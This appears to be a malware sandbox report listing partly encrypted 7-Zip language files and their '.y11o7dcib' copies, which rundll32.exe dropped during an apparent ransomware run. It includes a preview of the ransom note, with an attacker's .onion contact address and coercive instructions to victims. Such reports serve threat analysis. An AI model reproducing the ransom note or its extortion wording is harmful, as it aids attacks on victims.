SHA-512:	043ABB4BFF00E03787B465308E50B9DFFB7C75347214ACFF3F2F1AB27283DE0282E2DFB95D75C1A67D4AE3F6D3F2B05E0C2B0EC2A29ADB825FA45AE3491819BE
Malicious:	false
Preview:	.@#E.U..j*P..$.U...'.]..he..a.3....:....-vz=..N..l.Q.j...J:.&Ohanyan..;..;..;..;..;..;..;..;..;..0..7-Zip..Armenian...........401.......................&.....&....&..ZI.`....G..}[..#dc....:...j'L.[...k..%^.......o:.[..Z.n.&^7... ...... &......... ...... &.............................&...............Xa.......}@../...n.Nr..G..\3T.M...]..s}Ob..Tb[..Z.....G........500..&......&..........&......&.............&..........&............54...Xa.....=}T}T.)g@.;..:.hcj'.>.g5b9...p?K...}Za..J."A......r6.............&.............&.........&.............&..............&............9..3....M.-.... ....r..D.N.1a.I..Cs.....}Wb...l.k.......L..&.................&.....................................&....... .....&...M.....-...N.4....:...G.N.2U.@.C.

C:\Program Files\7-Zip\Lang\hy.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14451
Entropy (8bit):	6.123680690142858
Encrypted:	false
SSDEEP:	384:AK0cYRnA+SEIhPt8sIAJrYmzcIjGNLiPyuT4f4SO:tKn7sI6Ekj4LAyC4fi
MD5:	F8A44D463E056DBD5F1FB2C4862279DB
SHA1:	87C5D1E8B83B2D3D784F23068A47BDFF7E4C353C
SHA-256:	285A374C95CE031E15B4591D42D44D15B0EEA0F72094650E7FCEB73404D418FA
SHA-512:	043ABB4BFF00E03787B465308E50B9DFFB7C75347214ACFF3F2F1AB27283DE0282E2DFB95D75C1A67D4AE3F6D3F2B05E0C2B0EC2A29ADB825FA45AE3491819BE
Malicious:	false
Preview:	.@#E.U..j*P..$.U...'.]..he..a.3....:....-vz=..N..l.Q.j...J:.&Ohanyan..;..;..;..;..;..;..;..;..;..0..7-Zip..Armenian...........401.......................&.....&....&..ZI.`....G..}[..#dc....:...j'L.[...k..%^.......o:.[..Z.n.&^7... ...... &......... ...... &.............................&...............Xa.......}@../...n.Nr..G..\3T.M...]..s}Ob..Tb[..Z.....G........500..&......&..........&......&.............&..........&............54...Xa.....=}T}T.)g@.;..:.hcj'.>.g5b9...p?K...}Za..J."A......r6.............&.............&.........&.............&..............&............9..3....M.-.... ....r..D.N.1a.I..Cs.....}Wb...l.k.......L..&.................&.....................................&....... .....&...M.....-...N.4....:...G.N.2U.@.C.

C:\Program Files\7-Zip\Lang\id.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8976
Entropy (8bit):	6.550081862502938
Encrypted:	false
SSDEEP:	192:YgfsEmEvYC2dZWYLaEJQSi4dApA/7sS63iQdx3maaGS:YUsEmEvzoZr+OQNXU7s5yU09x
MD5:	BFA0C4F4392BDA056AE8ACEA38E327E9
SHA1:	C1333CFEED14825A1FBDEBF75926554E4753F08A
SHA-256:	4F471AEAC8AA8F167104BE287505B0E3872874E8E9C443DEC328A699B7E3340D
SHA-512:	F6CAE22AA88D1D1C013ED60B60347D39A33414E949B7F0BC100E44E26C91398E430C6CFDF7484C941CCE899D25F29230C249683438889C5321772265B9A3B939
Malicious:	false
Preview:	..W.S.ec..........ie..}*..PS7b......y.Y..Z^Ry.YU....\5#..L. ..;..;..;..;..;..;..;..0..7-Zip..Indonesian..Bahasa Indonesia..401..Oke..Batal........&Ya..&Tidak..&Tutup..Bantuan....&Lanjut..4\|..+..$......;....."w.(v...f]......A<..IV._.t^.y..7zO....wa&kang..Latar &Depan..&Jeda..Dijeda..Anda yakin ingin batal?..500..&Berkas..&Edit..Tam&pilan..&Kesukaan..Pera&latan..Ban&tuan..5\|..T.\i.......R.....%6.GY..Ac9...A<E.EOUf.t^.~..2gZ.'g.zma Ulang..&Salin Ke.....P&indah Ke.....&Hapus..Be&lah Berkas.....Gabun&g Berkas.....P&roperti..K&omentar.....Hitung ceksum..BedaE:.....F.......;.....i...&z..zGL5.......W..F26K.aU...?(H.l-.ian..600..Pi&lih Semua..Batal Pilih Semua..Pilih Sebal&iknya..Pilih.....Batal Pilih.....Pilih Berdasarkan Tipe..Batal Pilih Berda;Q.....V.....;.....iq..>z..z(l?....%Zn..l^Z~.g=.0.."oG. K.(0..Tidak Disortir..Tampil Datar..&2 Panel..Bilah Ala&t..Buka Akar Direktori..Naik Satu Tingkat..Riwayat Direktori.....&Segarkan.Bc....Bc......._...yZ..$w..P k1...

C:\Program Files\7-Zip\Lang\id.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8976
Entropy (8bit):	6.550081862502938
Encrypted:	false
SSDEEP:	192:YgfsEmEvYC2dZWYLaEJQSi4dApA/7sS63iQdx3maaGS:YUsEmEvzoZr+OQNXU7s5yU09x
MD5:	BFA0C4F4392BDA056AE8ACEA38E327E9
SHA1:	C1333CFEED14825A1FBDEBF75926554E4753F08A
SHA-256:	4F471AEAC8AA8F167104BE287505B0E3872874E8E9C443DEC328A699B7E3340D
SHA-512:	F6CAE22AA88D1D1C013ED60B60347D39A33414E949B7F0BC100E44E26C91398E430C6CFDF7484C941CCE899D25F29230C249683438889C5321772265B9A3B939
Malicious:	false
Preview:	..W.S.ec..........ie..}*..PS7b......y.Y..Z^Ry.YU....\5#..L. ..;..;..;..;..;..;..;..0..7-Zip..Indonesian..Bahasa Indonesia..401..Oke..Batal........&Ya..&Tidak..&Tutup..Bantuan....&Lanjut..4\|..+..$......;....."w.(v...f]......A<..IV._.t^.y..7zO....wa&kang..Latar &Depan..&Jeda..Dijeda..Anda yakin ingin batal?..500..&Berkas..&Edit..Tam&pilan..&Kesukaan..Pera&latan..Ban&tuan..5\|..T.\i.......R.....%6.GY..Ac9...A<E.EOUf.t^.~..2gZ.'g.zma Ulang..&Salin Ke.....P&indah Ke.....&Hapus..Be&lah Berkas.....Gabun&g Berkas.....P&roperti..K&omentar.....Hitung ceksum..BedaE:.....F.......;.....i...&z..zGL5.......W..F26K.aU...?(H.l-.ian..600..Pi&lih Semua..Batal Pilih Semua..Pilih Sebal&iknya..Pilih.....Batal Pilih.....Pilih Berdasarkan Tipe..Batal Pilih Berda;Q.....V.....;.....iq..>z..z(l?....%Zn..l^Z~.g=.0.."oG. K.(0..Tidak Disortir..Tampil Datar..&2 Panel..Bilah Ala&t..Buka Akar Direktori..Naik Satu Tingkat..Riwayat Direktori.....&Segarkan.Bc....Bc......._...yZ..$w..P k1...

C:\Program Files\7-Zip\Lang\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\7-Zip\Lang\io.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5322
Entropy (8bit):	6.566260981689199
Encrypted:	false
SSDEEP:	96:GYjcvCiVB6LYt0WFC4+bFKSc9/gvXzcmltf6H52bYhYV5zrTrGKk5NlS:YSC71+bFKJBg3s56Yh+Nr/GxNlS
MD5:	801D8034CA7D5ACA0C329DC54AD2B9A3
SHA1:	322FD4737CB47918FC92450F4599B734FEDD0A81
SHA-256:	A0C9CBD2FD0B4115C748138B5ECCBD2133E9874958B36A093311D8E3F0DDFE00
SHA-512:	3995C1BB6C697DBEFD853B7727B589A6442F8B1E2B7DC08C510C91E8CB83C467F9261EA12CFCC5E7AC35DEEE553304744C812E800FC64B437E4A56A18CF08131
Malicious:	false
Preview:	.M]..m,.. M\|}..Ag"..:cT.q.@=.Ro\|.....l.....2q_..d.....^....@.;..0..7-Zip..Ido..Ido..401..B&one..Abandonar........&Yes..&No..&Klozez..Helpo....&Durez..440..Yes por &omni..No por o&mni..Halt...D...5.Y&Z.!.u.m=RR.3..d..B...........\|B#&v.%......2!...> abortar?..500..&Dosiero..&Redakto..&Aspekto..&Favoraji..&Utensili..&Helpo..540..&Apertigar..Apertigar int&erne..Apertigar e&xte...D...&.1Vq.b.{.vQ*y...Vd...g.....k.M..yQ+ 7.........!`.."zar aden.....E&facar..F&endar dosiero.....Komb&inar dosieri.....In&heraji..Ko&mentar......Krear &dosieruyo..Krear dos&iero..E&ki......P..M2Y.<.f8:.o^7y....#..=~........@V<7e........<....&ar.....Desmerkar.....Merkar segun tipo..Desmerkar segun tipo..700..&Granda ikoneti..&Mikra ikoneti..&Listo..&Tabelo..730..&Neara..... j..aM.,6.b&s..e,..6..i.H?t....l.v..}Q-3e......... h..."..Ad-supre ye un nivelo..Dosieruya historio.....R&inovigar..750..Utensila panelo di arkivo..Norma utensila panelo..Granda ikonet....I...&_^)#.i>..v_U~.u.}..)+.....F.i

C:\Program Files\7-Zip\Lang\io.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5322
Entropy (8bit):	6.566260981689199
Encrypted:	false
SSDEEP:	96:GYjcvCiVB6LYt0WFC4+bFKSc9/gvXzcmltf6H52bYhYV5zrTrGKk5NlS:YSC71+bFKJBg3s56Yh+Nr/GxNlS
MD5:	801D8034CA7D5ACA0C329DC54AD2B9A3
SHA1:	322FD4737CB47918FC92450F4599B734FEDD0A81
SHA-256:	A0C9CBD2FD0B4115C748138B5ECCBD2133E9874958B36A093311D8E3F0DDFE00
SHA-512:	3995C1BB6C697DBEFD853B7727B589A6442F8B1E2B7DC08C510C91E8CB83C467F9261EA12CFCC5E7AC35DEEE553304744C812E800FC64B437E4A56A18CF08131
Malicious:	false
Preview:	.M]..m,.. M\|}..Ag"..:cT.q.@=.Ro\|.....l.....2q_..d.....^....@.;..0..7-Zip..Ido..Ido..401..B&one..Abandonar........&Yes..&No..&Klozez..Helpo....&Durez..440..Yes por &omni..No por o&mni..Halt...D...5.Y&Z.!.u.m=RR.3..d..B...........\|B#&v.%......2!...> abortar?..500..&Dosiero..&Redakto..&Aspekto..&Favoraji..&Utensili..&Helpo..540..&Apertigar..Apertigar int&erne..Apertigar e&xte...D...&.1Vq.b.{.vQ*y...Vd...g.....k.M..yQ+ 7.........!`.."zar aden.....E&facar..F&endar dosiero.....Komb&inar dosieri.....In&heraji..Ko&mentar......Krear &dosieruyo..Krear dos&iero..E&ki......P..M2Y.<.f8:.o^7y....#..=~........@V<7e........<....&ar.....Desmerkar.....Merkar segun tipo..Desmerkar segun tipo..700..&Granda ikoneti..&Mikra ikoneti..&Listo..&Tabelo..730..&Neara..... j..aM.,6.b&s..e,..6..i.H?t....l.v..}Q-3e......... h..."..Ad-supre ye un nivelo..Dosieruya historio.....R&inovigar..750..Utensila panelo di arkivo..Norma utensila panelo..Granda ikonet....I...&_^)#.i>..v_U~.u.}..)+.....F.i

C:\Program Files\7-Zip\Lang\is.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9060
Entropy (8bit):	6.757748051011186
Encrypted:	false
SSDEEP:	192:ryulfFMrPgmonMw7erfs4rgat+C3F8YGNR9a+6/NBX2UZcefNE33t6S:rPzmoMwYfs4ETC3F8YtdBmUZcgY
MD5:	EA3BCF70A5A888D0560CF8AFBBA02C9A
SHA1:	CB3E36ADEDDE8B25DFF6601F2B83613E5B8C6125
SHA-256:	CCEFD92A2DDB606EA02BAEA32718A1FECE1094CD7EFDBE3E41588A5424FCAA6B
SHA-512:	CFA0CD45E53ADFAFD02F317343E3C5C828DA6459A3117C030B85CD64F0BDD63F9B8B5F0F5FD629840387E9C6FAC6338DD7D30832F357FC2EFDC99978862E978D
Malicious:	false
Preview:	.h.<N....#.\...G....3.q..n.^....."N#..I..9...n..M.vW".....son..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Icelandic...slenska..401... lagi..H.tta vi.........&J...&Nei..&Loka..Hj.lp....o..C...p...{...~9.=.,...."..C.........=X..6..I."..!..p.q9p...Endurr.sa..&Bakgrunnur..&Forgrunnur..&Gera hl.... hl.i..Ert .. viss um a. .. viljir h.tta vi.?..500..&Skr...&Breyta.C.#D.$X.\|.O...e.\...gok&..0jL...EZ.T.Q...j\|R......M.\"......B. innanver.u..&Opna a. utanver.u..&Sko.a..&Breyta..&Endurnefna..&Afrita ......&F.ra ......&Ey.a..&Klj.fa skr......&Sam. ......p...4...lH.W.d.$Pe5.a..y.rCs...Z..2,L...D..E.8ek.....7lu..Mismunur..Skapa m.ppu..Skapa skr...&H.tta..Tengill..&V.xlstraumar..600..&Velja allt..&Afvelja allt..&Umsn.a vali..Velja.g.}%.......4...@[.\.k.$_z=.L..Y.wn....X...-....n..K.8`F.....&St.rar t.knmyndir..&Sm.ar t.knmyndir..&Listi..&Sm.atri.i..730...flokka...Flats.n..&2 spj.ld..&Verkf.rastikur..Opna rq...].$^........jx...c.5.} ....ss`c.g...

C:\Program Files\7-Zip\Lang\is.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9060
Entropy (8bit):	6.757748051011186
Encrypted:	false
SSDEEP:	192:ryulfFMrPgmonMw7erfs4rgat+C3F8YGNR9a+6/NBX2UZcefNE33t6S:rPzmoMwYfs4ETC3F8YtdBmUZcgY
MD5:	EA3BCF70A5A888D0560CF8AFBBA02C9A
SHA1:	CB3E36ADEDDE8B25DFF6601F2B83613E5B8C6125
SHA-256:	CCEFD92A2DDB606EA02BAEA32718A1FECE1094CD7EFDBE3E41588A5424FCAA6B
SHA-512:	CFA0CD45E53ADFAFD02F317343E3C5C828DA6459A3117C030B85CD64F0BDD63F9B8B5F0F5FD629840387E9C6FAC6338DD7D30832F357FC2EFDC99978862E978D
Malicious:	false
Preview:	.h.<N....#.\...G....3.q..n.^....."N#..I..9...n..M.vW".....son..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Icelandic...slenska..401... lagi..H.tta vi.........&J...&Nei..&Loka..Hj.lp....o..C...p...{...~9.=.,...."..C.........=X..6..I."..!..p.q9p...Endurr.sa..&Bakgrunnur..&Forgrunnur..&Gera hl.... hl.i..Ert .. viss um a. .. viljir h.tta vi.?..500..&Skr...&Breyta.C.#D.$X.\|.O...e.\...gok&..0jL...EZ.T.Q...j\|R......M.\"......B. innanver.u..&Opna a. utanver.u..&Sko.a..&Breyta..&Endurnefna..&Afrita ......&F.ra ......&Ey.a..&Klj.fa skr......&Sam. ......p...4...lH.W.d.$Pe5.a..y.rCs...Z..2,L...D..E.8ek.....7lu..Mismunur..Skapa m.ppu..Skapa skr...&H.tta..Tengill..&V.xlstraumar..600..&Velja allt..&Afvelja allt..&Umsn.a vali..Velja.g.}%.......4...@[.\.k.$_z=.L..Y.wn....X...-....n..K.8`F.....&St.rar t.knmyndir..&Sm.ar t.knmyndir..&Listi..&Sm.atri.i..730...flokka...Flats.n..&2 spj.ld..&Verkf.rastikur..Opna rq...].$^........jx...c.5.} ....ss`c.g...

C:\Program Files\7-Zip\Lang\it.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10064
Entropy (8bit):	6.562876519373085
Encrypted:	false
SSDEEP:	192:ukROiRAn7zUh4BferhIjmAsYNp1oVRqPzfiERqQVJugvgA8g4YwqmS:BRf6XVer3YuXqbiERl3ugvgA8g43qR
MD5:	397883DB5ACB5482716B44975CB7E464
SHA1:	C4CC07C25BA35904DCCF19BA6F45CA2FD013FB49
SHA-256:	73EF4AA8D2C2D60C8EC3B8EAAA084A944A3D96299EE4FCFC64A0943ED6A47F19
SHA-512:	01646BD82A22CC1365FCD611BBADF0179868FCD8515468CF38301A6A1FEEDB11B0295449166C83535356DB732B3BC8BD6320E69F7E7E0D0D82BEF67C3F463C3A
Malicious:	false
Preview:	...$_._..f...,.,r..\..KzO>..L.:....^.\|.0..7...N.... ...,....azo Reale (some corrections)..; 15.05 : 2015-06-17 : TJL73..; 17.00 : 2017-02-01 : Massimo Castiglia..; 18.03 : 2018-01-15 : POLA.Hn$^.!D.1..K..3g..{..KtAZo.A.{...<...[..R...E.&.Z....3....nn..Italiano..401..OK..Annulla........&S...&No..&Chiudi..Aiuto....&Continua..440..S. per &tutti..No per t&utti..Arresta..Riavvi'Hn97.3..b....eG;....<.cJ.........a.Z.0....-..._...........` di voler annullare?..500..&File..&Modifica..&Visualizza..&Preferiti..&Strumenti..&Aiuto..540..&Apri..Apri in &7-Zip File Manage4Hn^..zJ.o.....n8T.[..='.{D........U.I.2.;.c......i.......iinito..Rino&mina..&Copia in.....&Sposta in.....&Elimina..Sud&dividi il file.....&Unisci i file.....&Propriet...Comme&nto.....Ca*&.s..p..b........^.&...4.aK.V......_.J.y..>.$...^.. .........Crea file..E&sci..Collegamento..&Alternate Data Streams..600..&Seleziona tutto..&Deseleziona tutto..In&verti selezione..Selezion'kJ1s.W..d.....`d..[...".tL...V...X.@

C:\Program Files\7-Zip\Lang\it.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10064
Entropy (8bit):	6.562876519373085
Encrypted:	false
SSDEEP:	192:ukROiRAn7zUh4BferhIjmAsYNp1oVRqPzfiERqQVJugvgA8g4YwqmS:BRf6XVer3YuXqbiERl3ugvgA8g43qR
MD5:	397883DB5ACB5482716B44975CB7E464
SHA1:	C4CC07C25BA35904DCCF19BA6F45CA2FD013FB49
SHA-256:	73EF4AA8D2C2D60C8EC3B8EAAA084A944A3D96299EE4FCFC64A0943ED6A47F19
SHA-512:	01646BD82A22CC1365FCD611BBADF0179868FCD8515468CF38301A6A1FEEDB11B0295449166C83535356DB732B3BC8BD6320E69F7E7E0D0D82BEF67C3F463C3A
Malicious:	false
Preview:	...$_._..f...,.,r..\..KzO>..L.:....^.\|.0..7...N.... ...,....azo Reale (some corrections)..; 15.05 : 2015-06-17 : TJL73..; 17.00 : 2017-02-01 : Massimo Castiglia..; 18.03 : 2018-01-15 : POLA.Hn$^.!D.1..K..3g..{..KtAZo.A.{...<...[..R...E.&.Z....3....nn..Italiano..401..OK..Annulla........&S...&No..&Chiudi..Aiuto....&Continua..440..S. per &tutti..No per t&utti..Arresta..Riavvi'Hn97.3..b....eG;....<.cJ.........a.Z.0....-..._...........` di voler annullare?..500..&File..&Modifica..&Visualizza..&Preferiti..&Strumenti..&Aiuto..540..&Apri..Apri in &7-Zip File Manage4Hn^..zJ.o.....n8T.[..='.{D........U.I.2.;.c......i.......iinito..Rino&mina..&Copia in.....&Sposta in.....&Elimina..Sud&dividi il file.....&Unisci i file.....&Propriet...Comme&nto.....Ca*&.s..p..b........^.&...4.aK.V......_.J.y..>.$...^.. .........Crea file..E&sci..Collegamento..&Alternate Data Streams..600..&Seleziona tutto..&Deseleziona tutto..In&verti selezione..Selezion'kJ1s.W..d.....`d..[...".tL...V...X.@

C:\Program Files\7-Zip\Lang\ja.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12531
Entropy (8bit):	6.717342026352027
Encrypted:	false
SSDEEP:	192:yOjSgNAu0QG4kYjD/Ko3kiGmFPyl+qNFmvinfQJt5ldL0U13eit9GqZ7v2hPmGdy:yOj0l/fgKo3RPotVont0W9GqZ7UPmGY
MD5:	5925369281E648F6D9028A584D483F1E
SHA1:	73FD49609D8A7768A383BF843B159FFD5D454118
SHA-256:	17B6EB30B5CED4FF654B385F9318A92AC4DB0E183EA47BA69C7A737A5B075B7B
SHA-512:	12C6086713B71C3FA711A02A69A384B2F8D3AFAF284DA1F7CBAC98C18330A258D248F59098D0E7D06F32C591DE7463E2FDD26A2983EA1250FC5E9B67F7644278
Malicious:	false
Preview:	O`+...Q.J.'4.w^.g...r.,c.9h....Z.m..:=-.=..R........(....._H.H : Mick..; : : 2chBBS-software..; : : Crus Mitsuaki..; 9.23 : 2011-06-22 : nabeshin........-...'D..'.~...X.,...i)IB...#.pwty.d.."..A.....:.<...SE.X : Rukoto Luther..;..;..;..;..0..7-Zip..Japanese.......401..OK.................(&Y).....(&N).....+.u...".n......G......W01nd...N.}?>...t.N".m...DJv..I....6........(&L)...................(&B)..........(&F)......(&P)........8..=J.".E.....+.Y=]....~_...($.y......t.\|....C....K,.d......9@&F)....(&E)....(&V).......(&A).....(&T).....(&H)..540....(&O)..7-Zip ...(&I)......!Jw.y .J.w.\.w#.@0.....k..0E-..o.f..._4...gL.B{...VA_.R&.x.hbq...(&C).......(&M).......(&D)........(&S)...........(&B)..........(&R)......#S.......u.......;(....u.....O.S.?>...

C:\Program Files\7-Zip\Lang\ja.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12531
Entropy (8bit):	6.717342026352027
Encrypted:	false
SSDEEP:	192:yOjSgNAu0QG4kYjD/Ko3kiGmFPyl+qNFmvinfQJt5ldL0U13eit9GqZ7v2hPmGdy:yOj0l/fgKo3RPotVont0W9GqZ7UPmGY
MD5:	5925369281E648F6D9028A584D483F1E
SHA1:	73FD49609D8A7768A383BF843B159FFD5D454118
SHA-256:	17B6EB30B5CED4FF654B385F9318A92AC4DB0E183EA47BA69C7A737A5B075B7B
SHA-512:	12C6086713B71C3FA711A02A69A384B2F8D3AFAF284DA1F7CBAC98C18330A258D248F59098D0E7D06F32C591DE7463E2FDD26A2983EA1250FC5E9B67F7644278
Malicious:	false
Preview:	O`+...Q.J.'4.w^.g...r.,c.9h....Z.m..:=-.=..R........(....._H.H : Mick..; : : 2chBBS-software..; : : Crus Mitsuaki..; 9.23 : 2011-06-22 : nabeshin........-...'D..'.~...X.,...i)IB...#.pwty.d.."..A.....:.<...SE.X : Rukoto Luther..;..;..;..;..0..7-Zip..Japanese.......401..OK.................(&Y).....(&N).....+.u...".n......G......W01nd...N.}?>...t.N".m...DJv..I....6........(&L)...................(&B)..........(&F)......(&P)........8..=J.".E.....+.Y=]....~_...($.y......t.\|....C....K,.d......9@&F)....(&E)....(&V).......(&A).....(&T).....(&H)..540....(&O)..7-Zip ...(&I)......!Jw.y .J.w.\.w#.@0.....k..0E-..o.f..._4...gL.B{...VA_.R&.x.hbq...(&C).......(&M).......(&D)........(&S)...........(&B)..........(&R)......#S.......u.......;(....u.....O.S.?>...

C:\Program Files\7-Zip\Lang\ka.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18517
Entropy (8bit):	5.604904569100454
Encrypted:	false
SSDEEP:	384:zHm1Ld9lVokwoBaC0DsxXq57tl3r5jtqgKbuVcCczB+EIIghD:zmHI53FN8PuVcnaD
MD5:	EE367FA4CE4D46FC21AB6511E3BA5D83
SHA1:	667B3B981C586424DCE6517E41D049B462BCB226
SHA-256:	13CABD047D4387DD80D5BE1B739DA2A2D858E62F3661616C84CF763C5FB9DFEE
SHA-512:	9A433A72FF5EF3D4FE55A958D01ADE09E2B74E4A06EB85044959BFAD7D49211A5E845D2AEC96A5BDB3A8DF1F68A0BCFDC64BE97CA836989DC7415FEAA4703550
Malicious:	false
Preview:	A.....4..f..tD.hJ..x<g.4.I$..V.^B...'&.W.g1.z...w.M\|.g.D..f Maghlakelidze, original translation by Dimitri Gogelia..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Georgian..........:4...r.......2......f.e...4.=.._.....g.....;.N......Ma./......&......................&............440...... &.....O..{.+..).\|sH..P..5....f.^...../.Le ..20.....f..~,...._\|..4qH......................&.........&.... ........&......O..{.+u...\|NH..P......'.}...D./.Lj ....x.a....;.N....+..../.... ..... .......... ........?..500..&.......&.........-.....r._.Q...2...........4.8..l.B..Ex.l......N......../1..........&...........540..&.............. &................8._.m.*.6P............4.<H.Lg ...

C:\Program Files\7-Zip\Lang\ka.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18517
Entropy (8bit):	5.604904569100454
Encrypted:	false
SSDEEP:	384:zHm1Ld9lVokwoBaC0DsxXq57tl3r5jtqgKbuVcCczB+EIIghD:zmHI53FN8PuVcnaD
MD5:	EE367FA4CE4D46FC21AB6511E3BA5D83
SHA1:	667B3B981C586424DCE6517E41D049B462BCB226
SHA-256:	13CABD047D4387DD80D5BE1B739DA2A2D858E62F3661616C84CF763C5FB9DFEE
SHA-512:	9A433A72FF5EF3D4FE55A958D01ADE09E2B74E4A06EB85044959BFAD7D49211A5E845D2AEC96A5BDB3A8DF1F68A0BCFDC64BE97CA836989DC7415FEAA4703550
Malicious:	false
Preview:	A.....4..f..tD.hJ..x<g.4.I$..V.^B...'&.W.g1.z...w.M\|.g.D..f Maghlakelidze, original translation by Dimitri Gogelia..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Georgian..........:4...r.......2......f.e...4.=.._.....g.....;.N......Ma./......&......................&............440...... &.....O..{.+..).\|sH..P..5....f.^...../.Le ..20.....f..~,...._\|..4qH......................&.........&.... ........&......O..{.+u...\|NH..P......'.}...D./.Lj ....x.a....;.N....+..../.... ..... .......... ........?..500..&.......&.........-.....r._.Q...2...........4.8..l.B..Ex.l......N......../1..........&...........540..&.............. &................8._.m.*.6P............4.<H.Lg ...

C:\Program Files\7-Zip\Lang\kaa.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8416
Entropy (8bit):	6.7227679982596635
Encrypted:	false
SSDEEP:	192:LxWvt22nRXtRv6+N2kufYX235at7PIFgs1K1dPF6KcgS:LxWvt2MXtRv6qXgyPIysk4n
MD5:	6C332D2467B53B2CC08C9FDAC65A2C69
SHA1:	753FA25FAF34AA0C025E01BC216FCD92676A2447
SHA-256:	C59461D02298C41BD0B2E2C4E8A8564153B92AE676484C8B353893FF035A55BA
SHA-512:	E58F9FADB5B6138D46365B07AD037C1E389C961C7235AD122ED74B9D3F601EE1BF902C499D26A939D3BAA1500165432E8E6E236EAD8BA03628073F5E080CFB9C
Malicious:	false
Preview:	#W=l...Se&e....\|..y.......E0..<....m.. ...e...2.X._...u...70;..;..;..;..;..0..7-Zip..Karakalpak - Latin..Qaraqalpaqsha - Lat.n..401..OK..Biykar etiw........&Awa..&Yaq..&Jab.w..Ja'rdem......6...Xv}R.N..a..RR..V[..U.e..h....G..t..S...H.^4.....!..ON..w..Qaytadan baslaw..&Artq. fong'a..Ald.ng'. &fong'a..&Pauza..Pauza q.l.ng'an..An.q biykar etiwdi qa'leysizbe?..500..&Fayl......Ikc(.b..v..y..0....\|....5...@..u...e...J=_......#.......&Ash.w..&.shinde ash.w..&S.rt.nda ash.w..&Ko'riw..&Du'zetiw..At.n o'&zgertiw..Bul jerge &nusqas.n al.w.....Bul jerge ...$...J,:..N.."..y.0.j..\|.\|.h...$.\|F.B...TQ'..f...<..ZSHiw.....Sazlawla&r..Kom&mentariy.....Qadag'alaw summas...Diff..Papka jarat.w..Fayl jarat.w..Sh&.g'.w..600..Barl.g'.n &sayl...]...\up..d.....Td..V.[.xC...)...ym..7...$...YB.J....".......Saylawd. al.p taslaw.....Tu'ri boy.nsha saylaw..Tu'ri boy.nsha saylawd. al.p taslaw..700..U'&lken ikonalar..Kishi &ikona...Z....Gky(.b..".y.....&..7...8....G..

C:\Program Files\7-Zip\Lang\kaa.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8416
Entropy (8bit):	6.7227679982596635
Encrypted:	false
SSDEEP:	192:LxWvt22nRXtRv6+N2kufYX235at7PIFgs1K1dPF6KcgS:LxWvt2MXtRv6qXgyPIysk4n
MD5:	6C332D2467B53B2CC08C9FDAC65A2C69
SHA1:	753FA25FAF34AA0C025E01BC216FCD92676A2447
SHA-256:	C59461D02298C41BD0B2E2C4E8A8564153B92AE676484C8B353893FF035A55BA
SHA-512:	E58F9FADB5B6138D46365B07AD037C1E389C961C7235AD122ED74B9D3F601EE1BF902C499D26A939D3BAA1500165432E8E6E236EAD8BA03628073F5E080CFB9C
Malicious:	false
